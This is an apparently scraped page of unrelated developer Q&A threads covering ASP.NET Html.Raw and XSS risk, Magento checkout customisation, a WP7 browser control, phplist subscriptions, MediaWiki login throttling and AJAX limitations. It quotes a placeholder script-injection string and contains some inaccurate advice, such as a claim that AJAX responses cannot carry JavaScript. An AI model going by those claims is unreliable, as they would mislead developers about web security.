Is there a risk in using #Html.Raw? It seems to me there shouldn't be. If there is a risk then wouldn't that risk already exist regardless of using #Html.Raw in that modern browsers such as Chrome will allow an edit injection of <script>malicious()</script> or even to change a form's post action to something else.
#Html.Raw will allow executing any script that is on the value to display. If you want to prevent that you need to use #Html.AttributeEncode
Correct, the risk is in how it is used. There's no risk inherent in Html.Raw. It's a tool, nothing more.
If you are displaying user entered information it is better to use #Html.Encode().
In another words, if you are displaying non-user eneterd data you are safe to go with #Html.Raw()
Related
Extended OOB Onepage Link Block and link.phtml to disable the button based on customer group id, the changes are working but the button is disabled for all the customers, not just for the customers that are in specified group. I cleared cache many times but still no luck. I have correct entries in checkout_cart_index.xml and I do see it working but not the way it's supposed to do. Is there anything else that needs to be done to fix this issue since it prevent checkout for all the customers?
Found out hard way that it was a simple typo in the Block class name, I was using wrong Session class, where required method wasn't available. Took sometime to find this out and but it's working now. Please make sure that vendor/module, and/or other names are correct with case, otherwise it's hard to debug since we don't get meaningful errors unlike Java. I couldn't enable developer mode due to other issues which also complicated the problem.
I implemented a browser using webbrowser control (WP7). I want to add some features but this control has a lot of limitations. For example it is not possible to modify cookie, access postdata from request, etc. I need a lot of workarounds to implement features different from simple navigation. I notice that some people use httpwebrequest... is it possible to display the response without using webbrowser? Is there a more flexible alternative to this control?
Well, it depends on what you actually want to do. Do you need to present something to the user? Do you want to access the underlying data while he is browsing?
HttpRequest/HttpResponse are used whenever you want to initiate a request from your code i.e. without a user actually navigating to something. This is for machine-machine communication, not for user-machine interaction.
When you give us an example of what you want to build, we can give more detailed answer.
I have a very-simple php-based website.
I would like to add "subsribe for information" box and send it to some list-management tool.
I found that phplist is quite a good one. However, I don't find any api which allows me to subscribe users using ajax.
(I would like to avoid the pages of phplist in order to avoid confusion due to different design, and also I want the interface to be multi-language).
Of-course I can touch the code, but I doubt that it misses this feature, so I assunme I simply missed it.
Thanks!
Hopefully you have managed how to achieve this already. I have a different use case not requiring AJAX.
Anyway, I've found a script that tries to ease the addition of subscribers to your list. Maybe you could use it as the backend to support your AJAX request.
This is the thread in which the script is shared, as others have found it useful, also for unsuscribing users, even handling massive subscriptions/unsuscriptions:
http://forums.phplist.com/viewtopic.php?t=5009
Finally, be aware this code is using PEAR DB abstraction layer, probably I'm going to use this but without the PEAR package.
I look forward for what you could do through AJAX and this functions.
I'm working on a MediaWiki plugin that adds a certain captcha if users have more than three bad login attempts. I'm basing this on the existing ConfirmEdit plugin but for some reason the way they store bad login attempts doesn't seem to work for me. After checking the code they use, it seems they're using the global variable $wgMemc, which in my case appears to be an instance of FakeMemchachedClient. This is a fake memchache that just returns true on everything without even saving anything.
I'm trying to find out how to implement another way to internally keep track of the amount of bad logins, preferrably without having to consult the database for this.
The only thing I could come up with that avoids the cache entirely is POSTing the amount of bad logins, but this could easily be modified by a smart user/bot...
Anyone have any ideas?
In ideal case, $wgMemc should be instance of MemcachedPhpBagOStuff. It is actually an interface to memcached, see the MediaWiki page about it for more information and usage in MediaWiki.
For this use case it would be great choice. However, since it seems you don’t have memcached set up, the only viable alternative is probably using the database.
I'm still pretty new to AJAX and javascript, but I'm getting there slowly.
I have a web-based application that relies heavily on mySQL and there are individual user accounts that are accessed and the UI is populated with user specific data.
I'm working on getting rid of a tabbed navigation bar that currently loads new pages because all that changes from page to page is information within one box.
The thing is that box needs to reload info from the database, etc.
I have had great help from users here showing that I need to call the database within the php page that ajax is calling.
OK-so pardon the lengthy intro-what I'm wondering is are there any specific limitations to what ajax can call that I need to know about? IE: someone mentioned that it's best not to call script files and that I should remove scripts from the php page that is being called and keep those in the 'parent' page. Any other things like this I need to keep in mind?
To clarify: I'm not looking to discuss the merits/drawbacks of the technology. I'm wondering about specific coding implementation that I need to be aware of (for example-I didn't until yesterday realize that if even if I had established a mySQL connection on the page, that I would need to re establish that connection in my called page as well...makes perfect sense now).
XMLHttpRequest which powers ajax has a number of limitations. I recommend brushing up on the same origin policy. This is a pivotal rule because it limits where AJAX calls can be made.
First, you can't have Javascript embedded in the HTTP response to an AJAX call. That's a security issue.
No mention of the dynamics of the database, but if the data to be displayed in tabs doesn't have to be real-time, why not cache it server-side?
I find that like any other protocol, Ajax works best in tightly controlled conditions. It wouldn't make much sense for updating nearly the whole page, unless you find that the user experience is improved with an on-page 'loader'. Without going into workarounds, disadvantages will include losing the browser back button / history, issues such as the one your friend mentioned, and also embedded resources and other rich content can suffer as well, and just having an extra layer of complexity to deal with in your app. Don't treat it as magic sauce for your app - make sure every use delivers specific results that benefit your client / audience.
IMHO, it's best to put your client side javascript in a separate page and then import it - neater container. one thing I've faced before is how to call xml back which contains code to run such as more javascript - it's worth checking if this is likely earlier on and avoiding, than having to look at evals.
Mildly interesting.